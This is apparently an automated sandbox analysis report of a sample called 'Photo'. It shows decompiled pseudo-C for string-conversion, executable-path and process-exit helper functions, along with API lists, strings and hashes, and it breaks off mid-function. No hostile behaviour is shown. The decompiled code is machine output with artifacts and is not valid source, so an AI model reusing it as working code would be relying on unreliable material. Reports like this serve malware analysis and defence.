Function 001D4DE0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E001D4DE0(void* __ebx, short* _a4) {
				void* _t14;
				void* _t15;
				int _t16;
				char* _t18;

				_t16 = WideCharToMultiByte(0, 0, _a4, 0xffffffff, 0, 0, 0, 0);
				if(_t16 != 0) {
					_t2 = _t16 + 1; // 0x1
					_push(1);
					_t18 = E001DD57E(_t14);
					if(WideCharToMultiByte(0, 0, _a4, 0xffffffff, _t18, _t16, 0, 0) != 0) {
						return _t18;
					} else {
						_push("Failed to encode filename as ANSI.\n");
						_push("WideCharToMultiByte");
						E001D1900(__ebx, _t15);
						return 0;
					}
				} else {
					_push("Failed to get ANSI buffer size.\n");
					_push("WideCharToMultiByte");
					E001D1900(__ebx, _t15);
					return 0;
				}
			}

0x001d4df9
0x001d4dfd
0x001d4e16
0x001d4e19
0x001d4e24
0x001d4e3e
0x001d4e5b
0x001d4e40
0x001d4e40
0x001d4e45
0x001d4e4a
0x001d4e56
0x001d4e56
0x001d4dff
0x001d4dff
0x001d4e04
0x001d4e09
0x001d4e14
0x001d4e14

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,001D4945,00000000), ref: 001D4DF3
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 001D4E36

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

Strings

Failed to encode filename as ANSI., xrefs: 001D4E40
WideCharToMultiByte, xrefs: 001D4E04, 001D4E45
Failed to get ANSI buffer size., xrefs: 001D4DFF

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Failed to encode filename as ANSI.$Failed to get ANSI buffer size.$WideCharToMultiByte
API String ID: 1717984340-1278643509
Opcode ID: fecec9feb6573c2c5f347d05f3ef9c821e27f5e5281e491edfca0733312fb6ae
Instruction ID: 8289e52d3ce2139011d5964099c293c795cc64407bb8dd07af297fbe711a0533
Opcode Fuzzy Hash: fecec9feb6573c2c5f347d05f3ef9c821e27f5e5281e491edfca0733312fb6ae
Instruction Fuzzy Hash: 78F06D727C832977EA6026A43C07FB637449B55BBAF250315FB18B82C2EB92A41441A5

Uniqueness

Uniqueness Score: -1.00%

Function 001E019B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E001E019B(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t10;
				int _t12;
				int _t19;
				signed int _t21;

				_t10 =  *0x1fc008; // 0x369f4a24
				_v8 = _t10 ^ _t21;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_t12 = GetProcAddress(_v12, "CorExitProcess");
					_t19 = _t12;
					if(_t19 != 0) {
						 *0x1f018c(_a4);
						_t12 =  *_t19();
					}
				}
				if(_v12 != 0) {
					_t12 = FreeLibrary(_v12);
				}
				E001D7760();
				return _t12;
			}

0x001e01a2
0x001e01a9
0x001e01ac
0x001e01b0
0x001e01bb
0x001e01c3
0x001e01ce
0x001e01d4
0x001e01d8
0x001e01df
0x001e01e5
0x001e01e5
0x001e01e7
0x001e01ec
0x001e01f1
0x001e01f1
0x001e01fc
0x001e0204

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,001E0190,?,?,001E0130,?,001FA490,0000000C,001E0243,?,00000002), ref: 001E01BB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001E01CE
FreeLibrary.KERNEL32(00000000,?,?,?,001E0190,?,?,001E0130,?,001FA490,0000000C,001E0243,?,00000002,00000000), ref: 001E01F1

Strings

mscoree.dll, xrefs: 001E01B4
CorExitProcess, xrefs: 001E01C6

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5236161cadafbb29470264195662dac49750c10b58eda8e17f99e4ff4ae4b092
Instruction ID: dc4ce0918999b5680ae9d084a338d33e05e3291b1d3168ab476e57607fe79f5a
Opcode Fuzzy Hash: 5236161cadafbb29470264195662dac49750c10b58eda8e17f99e4ff4ae4b092
Instruction Fuzzy Hash: F7F0443464461CBBCB129F55DC09BBE7FB9EF08751F000155F809A6160DF709EC5DA91

Uniqueness

Uniqueness Score: -1.00%

Function 001D48B0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E001D48B0(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				int* _t20;
				char* _t21;
				short* _t27;
				int _t29;
				int* _t31;
				int* _t32;
				char* _t35;
				void* _t37;
				signed int _t38;
				signed int _t39;
				signed int _t40;
				short* _t41;
				int _t42;
				int _t43;
				void* _t44;
				void* _t45;
				void* _t46;

				_t37 = __edx;
				_t39 =  *(_t44 + 0x18);
				_push(4);
				_push(_t39 + 1);
				_t20 = E001DD57E(__ecx);
				_t45 = _t44 + 8;
				 *(_t45 + 0x10) = _t20;
				_t38 = 0;
				if(_t39 <= 0) {
					L18:
					_t20[_t39] = 0;
					return _t20;
				} else {
					_t31 = _t20;
					_t35 =  *(_t45 + 0x20) - _t20;
					 *(_t45 + 0x20) = _t35;
					while(1) {
						_t21 = _t35[_t31];
						 *(_t45 + 0x2c) = _t21;
						_t42 = MultiByteToWideChar(0xfde9, 0, _t21, 0xffffffff, 0, 0);
						if(_t42 == 0) {
							break;
						}
						_t8 = _t42 + 1; // 0x1
						_t36 = _t8;
						_push(2);
						_push(_t8);
						_t27 = E001DD57E(_t8);
						_t45 = _t45 + 8;
						_t41 = _t27;
						if(MultiByteToWideChar(0xfde9, 0,  *(_t45 + 0x20), 0xffffffff, _t41, _t42) == 0) {
							_push("Failed to decode wchar_t from UTF-8\n");
							L13:
							_push("MultiByteToWideChar");
							E001D1900(_t31, _t37);
							_t46 = _t45 + 8;
							goto L14;
						} else {
							if(_t41 == 0) {
								L14:
								 *_t31 = 0;
								_t32 =  *(_t46 + 0x10);
								_t40 = 0;
								if(_t38 >= 0) {
									do {
										L001D9956(_t32[_t40]);
										_t40 = _t40 + 1;
										_t46 = _t46 + 4;
									} while (_t40 <= _t38);
								}
								L001D9956(_t32);
								return 0;
							} else {
								_push(_t41);
								if( *((intOrPtr*)(_t45 + 0x24)) == 0) {
									_t29 = E001D4DE0(_t31);
								} else {
									_t29 = E001D4E60(_t31, _t36, _t37);
								}
								_t43 = _t29;
								L001D9956(_t41);
								_t46 = _t45 + 8;
								if(_t43 == 0) {
									goto L14;
								} else {
									_t39 =  *(_t46 + 0x1c);
									_t38 = _t38 + 1;
									 *_t31 = _t43;
									_t31 =  &(_t31[1]);
									if(_t38 >= _t39) {
										_t20 =  *(_t46 + 0x10);
										goto L18;
									} else {
										_t35 =  *(_t46 + 0x20);
										continue;
									}
								}
							}
						}
						goto L19;
					}
					_push("Failed to get wchar_t buffer size.\n");
					goto L13;
				}
				L19:
			}

0x001d48b0
0x001d48b6
0x001d48bb
0x001d48c0
0x001d48c1
0x001d48c6
0x001d48c9
0x001d48cd
0x001d48d1
0x001d49bf
0x001d49bf
0x001d49cc
0x001d48d7
0x001d48db
0x001d48dd
0x001d48df
0x001d48e3
0x001d48e3
0x001d48f4
0x001d48fe
0x001d4902
0x00000000
0x00000000
0x001d4904
0x001d4904
0x001d4907
0x001d4909
0x001d490a
0x001d490f
0x001d4912
0x001d492b
0x001d496e
0x001d497a
0x001d497a
0x001d497f
0x001d4984
0x00000000
0x001d492d
0x001d492f
0x001d4987
0x001d4987
0x001d498d
0x001d4991
0x001d4995
0x001d4997
0x001d499a
0x001d499f
0x001d49a0
0x001d49a3
0x001d4997
0x001d49a8
0x001d49b9
0x001d4931
0x001d4936
0x001d4937
0x001d4940
0x001d4939
0x001d4939
0x001d4939
0x001d4948
0x001d494b
0x001d4950
0x001d4955
0x00000000
0x001d4957
0x001d4957
0x001d495b
0x001d495c
0x001d495e
0x001d4963
0x001d49ba
0x00000000
0x001d4965
0x001d4965
0x00000000
0x001d4965
0x001d4963
0x001d4955
0x001d492f
0x00000000
0x001d492b
0x001d4975
0x00000000
0x001d4975
0x00000000

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,00000000,001D3A1A,?), ref: 001D48F8
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 001D4923

Strings

Failed to get wchar_t buffer size., xrefs: 001D4975
MultiByteToWideChar, xrefs: 001D497A
Failed to decode wchar_t from UTF-8, xrefs: 001D496E

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar
API String ID: 626452242-3466716416
Opcode ID: a56fe630d8957fd9c63deb0c8e309069be1f0e1fe415c7b69a8093358c11fed6
Instruction ID: 65a777851cde66a6d0b361cb2b6c24f18a4d2822b16180c150571641c2eea0c3
Opcode Fuzzy Hash: a56fe630d8957fd9c63deb0c8e309069be1f0e1fe415c7b69a8093358c11fed6
Instruction Fuzzy Hash: 15316872904311ABDB24AFA5EC52F6F7794EF98728F04062AFD4567381E772E8048393

Uniqueness

Uniqueness Score: -1.00%

Function 001D4CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E001D4CE0(void* __ecx, void* __edx, void* __eflags, short* _a4, intOrPtr _a8) {
				char* _v4;
				int _v8;
				void* __ebx;
				short** _t18;
				intOrPtr _t21;
				char* _t22;
				int _t23;
				short* _t28;
				short* _t30;
				void* _t33;
				signed int _t34;
				short** _t35;
				signed int _t36;
				short** _t37;
				int* _t39;
				int* _t40;

				_t33 = __edx;
				_t30 = _a4;
				_push(4);
				_push( &(_t30[0]));
				_t18 = E001DD57E(__ecx);
				_t39 =  &(( &_v8)[2]);
				_t34 = 0;
				_t37 = _t18;
				if(_t30 <= 0) {
					L14:
					_t37[_t30] = 0;
					return _t37;
				} else {
					_t35 = _t37;
					_t21 = _a8 - _t37;
					_a8 = _t21;
					while(1) {
						_t22 =  *(_t21 + _t35);
						_v4 = _t22;
						_t23 = MultiByteToWideChar(0xfde9, 0, _t22, 0xffffffff, 0, 0);
						_v8 = _t23;
						if(_t23 == 0) {
							break;
						}
						_t8 = _t23 + 1; // 0x1
						_push(2);
						_push(_t8);
						_t28 = E001DD57E(_t8);
						_t39 =  &(_t39[2]);
						_t30 = _t28;
						if(MultiByteToWideChar(0xfde9, 0, _v4, 0xffffffff, _t30, _v8) == 0) {
							_push("Failed to decode wchar_t from UTF-8\n");
							L9:
							_push("MultiByteToWideChar");
							E001D1900(_t30, _t33);
							 *_t35 = 0;
							_t40 =  &(_t39[2]);
							goto L10;
						} else {
							 *_t35 = _t30;
							if(_t30 == 0) {
								L10:
								_t36 = 0;
								if(_t34 >= 0) {
									do {
										L001D9956(_t37[_t36]);
										_t36 = _t36 + 1;
										_t40 =  &(_t40[1]);
									} while (_t36 <= _t34);
								}
								L001D9956(_t37);
								return 0;
							} else {
								_t30 = _a4;
								_t34 = _t34 + 1;
								_t35 =  &(_t35[1]);
								if(_t34 >= _t30) {
									goto L14;
								} else {
									_t21 = _a8;
									continue;
								}
							}
						}
						goto L15;
					}
					_push("Failed to get wchar_t buffer size.\n");
					goto L9;
				}
				L15:
			}

0x001d4ce0
0x001d4ce4
0x001d4cee
0x001d4cf0
0x001d4cf1
0x001d4cf6
0x001d4cf9
0x001d4cfb
0x001d4cff
0x001d4dc6
0x001d4dc6
0x001d4dd5
0x001d4d05
0x001d4d09
0x001d4d0b
0x001d4d0d
0x001d4d11
0x001d4d11
0x001d4d22
0x001d4d26
0x001d4d2c
0x001d4d32
0x00000000
0x00000000
0x001d4d34
0x001d4d37
0x001d4d39
0x001d4d3a
0x001d4d3f
0x001d4d42
0x001d4d5e
0x001d4d78
0x001d4d84
0x001d4d84
0x001d4d89
0x001d4d8e
0x001d4d94
0x00000000
0x001d4d60
0x001d4d60
0x001d4d64
0x001d4d97
0x001d4d97
0x001d4d9b
0x001d4da0
0x001d4da4
0x001d4da9
0x001d4daa
0x001d4dad
0x001d4da0
0x001d4db2
0x001d4dc3
0x001d4d66
0x001d4d66
0x001d4d6a
0x001d4d6b
0x001d4d70
0x00000000
0x001d4d72
0x001d4d72
0x00000000
0x001d4d72
0x001d4d70
0x001d4d64
0x00000000
0x001d4d5e
0x001d4d7f
0x00000000
0x001d4d7f
0x00000000

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,00000000,001D3A1A,?), ref: 001D4D26
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 001D4D56

Strings

Failed to get wchar_t buffer size., xrefs: 001D4D7F
MultiByteToWideChar, xrefs: 001D4D84
Failed to decode wchar_t from UTF-8, xrefs: 001D4D78

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar
API String ID: 626452242-3466716416
Opcode ID: 665e8936f41d0dfbedb66cea5f735c19eb5cb03d5a39d18427b6d6022c360f02
Instruction ID: e1a96106138c91812052bd9e33c9d973351502e3d9316908c11d08583034047b
Opcode Fuzzy Hash: 665e8936f41d0dfbedb66cea5f735c19eb5cb03d5a39d18427b6d6022c360f02
Instruction Fuzzy Hash: ED213B71600302ABDB10AFD8EC41F6A7795BFA4315F14073AFE49963C1EB72D4048752

Uniqueness

Uniqueness Score: -1.00%

Function 001D4AD0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E001D4AD0(void* __ebx, void* __ecx, void* __edx, intOrPtr _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t11;
				void* _t23;
				void* _t24;
				short* _t25;
				intOrPtr _t26;
				int _t27;
				void* _t28;

				_t24 = __edx;
				_t23 = __ecx;
				_t27 = MultiByteToWideChar(0xfde9, 0, _a8, 0xffffffff, 0, 0);
				if(_t27 != 0) {
					_t2 = _t27 + 1; // 0x1
					_push(2);
					_t25 = E001DD57E(_t23);
					if(MultiByteToWideChar(0xfde9, 0, _a8, 0xffffffff, _t25, _t27) != 0) {
						if(_t25 != 0) {
							_push(_t25);
							if(_a16 == 0) {
								_t11 = E001D4DE0(__ebx);
							} else {
								_t11 = E001D4E60(__ebx, _t23, _t24);
							}
							_t28 = _t11;
							L001D9956(_t25);
							if(_t28 == 0) {
								goto L5;
							} else {
								_t26 = _a4;
								if(_t26 == 0) {
									return _t28;
								} else {
									E001DCBE0(_t26, _t28, _a12);
									L001D9956(_t28);
									return _t26;
								}
							}
						} else {
							L5:
							return 0;
						}
					} else {
						_push("Failed to decode wchar_t from UTF-8\n");
						_push("MultiByteToWideChar");
						E001D1900(__ebx, _t24);
						return 0;
					}
				} else {
					_push("Failed to get wchar_t buffer size.\n");
					_push("MultiByteToWideChar");
					E001D1900(__ebx, _t24);
					return 0;
				}
			}

0x001d4ad0
0x001d4ad0
0x001d4ae9
0x001d4aed
0x001d4b06
0x001d4b09
0x001d4b14
0x001d4b2d
0x001d4b48
0x001d4b54
0x001d4b55
0x001d4b5e
0x001d4b57
0x001d4b57
0x001d4b57
0x001d4b66
0x001d4b69
0x001d4b73
0x00000000
0x001d4b75
0x001d4b75
0x001d4b7b
0x001d4b9a
0x001d4b7d
0x001d4b83
0x001d4b89
0x001d4b95
0x001d4b95
0x001d4b7b
0x001d4b4b
0x001d4b4b
0x001d4b4e
0x001d4b4e
0x001d4b2f
0x001d4b2f
0x001d4b34
0x001d4b39
0x001d4b45
0x001d4b45
0x001d4aef
0x001d4aef
0x001d4af4
0x001d4af9
0x001d4b05
0x001d4b05

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,001D39E6,000000FF,00000000,00000000,?,?,001D4BB3,001D39E6,001D39E6,001D39E6,00000001,001D39E6,001FEA20,001FCA10), ref: 001D4AE3
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 001D4B25

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

Strings

Failed to get wchar_t buffer size., xrefs: 001D4AEF
MultiByteToWideChar, xrefs: 001D4AF4, 001D4B34
Failed to decode wchar_t from UTF-8, xrefs: 001D4B2F

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar
API String ID: 1717984340-3466716416
Opcode ID: 683b5ce958dfdba12a3aeb68f499435797e8146d686f3f336fa2f41753561e4c
Instruction ID: f1d0e4e45f5b00a07d88ba8b0d85b9f4d0ba9739948e0f59209f2ee656fbbdb3
Opcode Fuzzy Hash: 683b5ce958dfdba12a3aeb68f499435797e8146d686f3f336fa2f41753561e4c
Instruction Fuzzy Hash: C0110837B042213BD72176A57C02F6B77559BF1BB1F290627FA18963D1E721D80581A3

Uniqueness

Uniqueness Score: -1.00%

Function 001D4BC0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E001D4BC0(void* __ebx, short* _a4, char* _a8, int _a12) {
				short* _t12;
				void* _t16;
				void* _t17;
				int _t18;
				short* _t19;
				void* _t20;

				_t15 = __ebx;
				_t19 = _a4;
				if(_t19 != 0) {
					_t18 = _a12;
					goto L5;
				} else {
					_t18 = MultiByteToWideChar(0xfde9, _t19, _a8, 0xffffffff, _t19, _t19);
					if(_t18 != 0) {
						_t3 = _t18 + 1; // 0x1
						_push(2);
						_t12 = E001DD57E(_t16);
						_t20 = _t20 + 8;
						_t19 = _t12;
						L5:
						if(MultiByteToWideChar(0xfde9, 0, _a8, 0xffffffff, _t19, _t18) != 0) {
							return _t19;
						} else {
							_push("Failed to decode wchar_t from UTF-8\n");
							_push("MultiByteToWideChar");
							E001D1900(_t15, _t17);
							return 0;
						}
					} else {
						_push("Failed to get wchar_t buffer size.\n");
						_push("MultiByteToWideChar");
						E001D1900(__ebx, _t17);
						return 0;
					}
				}
			}

0x001d4bc0
0x001d4bc1
0x001d4bc8
0x001d4c0d
0x00000000
0x001d4bca
0x001d4bde
0x001d4be2
0x001d4bfb
0x001d4bfe
0x001d4c01
0x001d4c06
0x001d4c09
0x001d4c11
0x001d4c28
0x001d4c45
0x001d4c2a
0x001d4c2a
0x001d4c2f
0x001d4c34
0x001d4c40
0x001d4c40
0x001d4be4
0x001d4be4
0x001d4be9
0x001d4bee
0x001d4bfa
0x001d4bfa
0x001d4be2

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,?,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4BD8

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4C20

Strings

Failed to get wchar_t buffer size., xrefs: 001D4BE4
MultiByteToWideChar, xrefs: 001D4BE9, 001D4C2F
Failed to decode wchar_t from UTF-8, xrefs: 001D4C2A

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar
API String ID: 1717984340-3466716416
Opcode ID: 6b11285486b6818bd9d392dc2695b48400585f5398193c27df322faebfb3fb0d
Instruction ID: 88743b02fa548c1cf8717d8059fa51071b17d68caf04065571125d466e3f6b3b
Opcode Fuzzy Hash: 6b11285486b6818bd9d392dc2695b48400585f5398193c27df322faebfb3fb0d
Instruction Fuzzy Hash: 9E0126336492227BC72076A57C06E9B7B549FD5BB1F290722FA18A22D0EB21D80142A2

Uniqueness

Uniqueness Score: -1.00%

Function 001D2840 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E001D2840(void* __edx, signed int _a8192, intOrPtr _a8200) {
				short _v0;
				signed int _t9;
				signed int _t14;
				signed int _t16;
				signed int _t18;
				void* _t20;
				void* _t27;
				intOrPtr _t29;
				signed int _t33;
				signed int _t34;

				_t27 = __edx;
				E001D7780();
				_t9 =  *0x1fc008; // 0x369f4a24
				_a8192 = _t9 ^ _t33;
				_t29 = _a8200;
				if(GetModuleFileNameW(0,  &_v0, 0x1000) != 0) {
					_t14 = E001D4C50(_t20, _t29,  &_v0, 0x1000);
					_t34 = _t33 + 0xc;
					__eflags = _t14;
					if(__eflags != 0) {
						__eflags = _a8192 ^ _t34;
						E001D7760();
						return 0;
					} else {
						_push("Failed to convert executable path to UTF-8.");
						_t16 = E001D1A10(_t20, __eflags);
						__eflags = _a8192 ^ _t34 + 0x00000004;
						E001D7760();
						return _t16 | 0xffffffff;
					}
				} else {
					_push("Failed to get executable path.");
					_push("GetModuleFileNameW");
					_t18 = E001D1900(_t20, _t27);
					E001D7760();
					return _t18 | 0xffffffff;
				}
			}

0x001d2840
0x001d2845
0x001d284a
0x001d2851
0x001d2859
0x001d2874
0x001d28ac
0x001d28b1
0x001d28b4
0x001d28b6
0x001d28e8
0x001d28ea
0x001d28f5
0x001d28b8
0x001d28b8
0x001d28bd
0x001d28d0
0x001d28d2
0x001d28dd
0x001d28dd
0x001d2876
0x001d2876
0x001d287b
0x001d2880
0x001d2895
0x001d28a0
0x001d28a0

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,001D25A8,?,?), ref: 001D286C

Part of subcall function 001D1900: GetLastError.KERNEL32(?,?), ref: 001D191E

Strings

Failed to convert executable path to UTF-8., xrefs: 001D28B8
GetModuleFileNameW, xrefs: 001D287B
Failed to get executable path., xrefs: 001D2876

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2776309574-482168174
Opcode ID: 75193563b189a3e0c5d31b3558a27a79d719cac443b867b093cc299d632dee8b
Instruction ID: e5796ee8e678644670e3f1505820c4ea645d1ba8f8388cb0f11b4036cdb294f7
Opcode Fuzzy Hash: 75193563b189a3e0c5d31b3558a27a79d719cac443b867b093cc299d632dee8b
Instruction Fuzzy Hash: B301B5756143045BF724A724AC8BBAE33C4AF68765FC0092AF659C23C3FB645404C697

Uniqueness

Uniqueness Score: -1.00%

Function 001E457A Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E001E457A(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E001DB101(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
